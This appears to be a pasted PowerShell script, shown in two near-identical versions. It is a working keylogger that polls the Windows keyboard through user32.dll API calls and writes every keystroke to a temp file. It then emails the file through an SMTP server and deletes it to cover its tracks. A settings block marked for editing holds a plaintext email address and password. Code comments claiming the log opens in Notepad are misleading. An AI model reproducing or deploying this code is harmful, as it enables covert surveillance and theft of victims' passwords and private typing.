· 6 years ago · Dec 24, 2019, 11:14 PM
1# Edit only this section!
2$TimesToRun = 2
3$RunTimeP = 1
4$From = "babaclap112@gmail.com
5"
6$Pass = "wachtwoord115"
7$To = "babaclap112@gmail.com
8"
9$Subject = "Keylogger Results"
10$body = "Keylogger Results"
11$SMTPServer = "smtp.mail.com"
12$SMTPPort = "587"
13$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
14############################
15
16
17$TimeStart = Get-Date
18$TimeEnd = $timeStart.addminutes($RunTimeP)
19
20#requires -Version 2
21function Start-KeyLogger($Path="$env:temp\keylogger.txt")
22{
23 # Signatures for API Calls
24 $signatures = @'
25[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
26public static extern short GetAsyncKeyState(int virtualKeyCode);
27[DllImport("user32.dll", CharSet=CharSet.Auto)]
28public static extern int GetKeyboardState(byte[] keystate);
29[DllImport("user32.dll", CharSet=CharSet.Auto)]
30public static extern int MapVirtualKey(uint uCode, int uMapType);
31[DllImport("user32.dll", CharSet=CharSet.Auto)]
32public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
33'@
34
35 # load signatures and make members available
36 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
37
38 # create output file
39 $null = New-Item -Path $Path -ItemType File -Force
40
41 try
42 {
43
44 # create endless loop. When user presses CTRL+C, finally-block
45 # executes and shows the collected key presses
46 $Runner = 0
47 while ($TimesToRun -ge $Runner) {
48 while ($TimeEnd -ge $TimeNow) {
49 Start-Sleep -Milliseconds 40
50
51 # scan all ASCII codes above 8
52 for ($ascii = 9; $ascii -le 254; $ascii++) {
53 # get current key state
54 $state = $API::GetAsyncKeyState($ascii)
55
56 # is key pressed?
57 if ($state -eq -32767) {
58 $null = [console]::CapsLock
59
60 # translate scan code to real code
61 $virtualKey = $API::MapVirtualKey($ascii, 3)
62
63 # get keyboard state for virtual keys
64 $kbstate = New-Object Byte[] 256
65 $checkkbstate = $API::GetKeyboardState($kbstate)
66
67 # prepare a StringBuilder to receive input key
68 $mychar = New-Object -TypeName System.Text.StringBuilder
69
70 # translate virtual key
71 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
72
73 if ($success)
74 {
75 # add key to logger file
76 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
77 }
78 }
79 }
80 $TimeNow = Get-Date
81 }
82 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
83 Remove-Item -Path $Path -force
84 }
85 }
86 finally
87 {
88 # open logger file in Notepad
89 exit 1
90 }
91}
92
93# records all key presses until script is aborted by pressing CTRL+C
94# will then open the file with collected key codes
95Start-KeyLogger
96
97 keystrokes.ps1
98# Edit only this section!
99$TimeToRun = 2
100$From = "USER1@mail.com"
101$Pass = "Pa$$w0rd"
102$To = "USER2@mail.com"
103$Subject = "Keylogger Results"
104$body = "Keylogger Results"
105$SMTPServer = "smtp.mail.com"
106$SMTPPort = "587"
107$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
108############################
109
110
111$TimeStart = Get-Date
112$TimeEnd = $timeStart.addminutes($TimeToRun)
113
114#requires -Version 2
115function Start-KeyLogger($Path="$env:temp\keylogger.txt")
116{
117 # Signatures for API Calls
118 $signatures = @'
119[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
120public static extern short GetAsyncKeyState(int virtualKeyCode);
121[DllImport("user32.dll", CharSet=CharSet.Auto)]
122public static extern int GetKeyboardState(byte[] keystate);
123[DllImport("user32.dll", CharSet=CharSet.Auto)]
124public static extern int MapVirtualKey(uint uCode, int uMapType);
125[DllImport("user32.dll", CharSet=CharSet.Auto)]
126public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
127'@
128
129 # load signatures and make members available
130 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
131
132 # create output file
133 $null = New-Item -Path $Path -ItemType File -Force
134
135 try
136 {
137
138 # create endless loop. When user presses CTRL+C, finally-block
139 # executes and shows the collected key presses
140 while ($TimeEnd -ge $TimeNow) {
141 Start-Sleep -Milliseconds 40
142
143 # scan all ASCII codes above 8
144 for ($ascii = 9; $ascii -le 254; $ascii++) {
145 # get current key state
146 $state = $API::GetAsyncKeyState($ascii)
147
148 # is key pressed?
149 if ($state -eq -32767) {
150 $null = [console]::CapsLock
151
152 # translate scan code to real code
153 $virtualKey = $API::MapVirtualKey($ascii, 3)
154
155 # get keyboard state for virtual keys
156 $kbstate = New-Object Byte[] 256
157 $checkkbstate = $API::GetKeyboardState($kbstate)
158
159 # prepare a StringBuilder to receive input key
160 $mychar = New-Object -TypeName System.Text.StringBuilder
161
162 # translate virtual key
163 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
164
165 if ($success)
166 {
167 # add key to logger file
168 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
169 }
170 }
171 }
172 $TimeNow = Get-Date
173 }
174 }
175 finally
176 {
177 # open logger file in Notepad
178 send-mailmessage -from babaclap112@gmail.com -to babaclap112@gmail.com -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
179 Remove-Item -Path $Path -force
180 exit 1
181 }
182}
183
184# records all key presses until script is aborted by pressing CTRL+C
185# will then open the file with collected key codes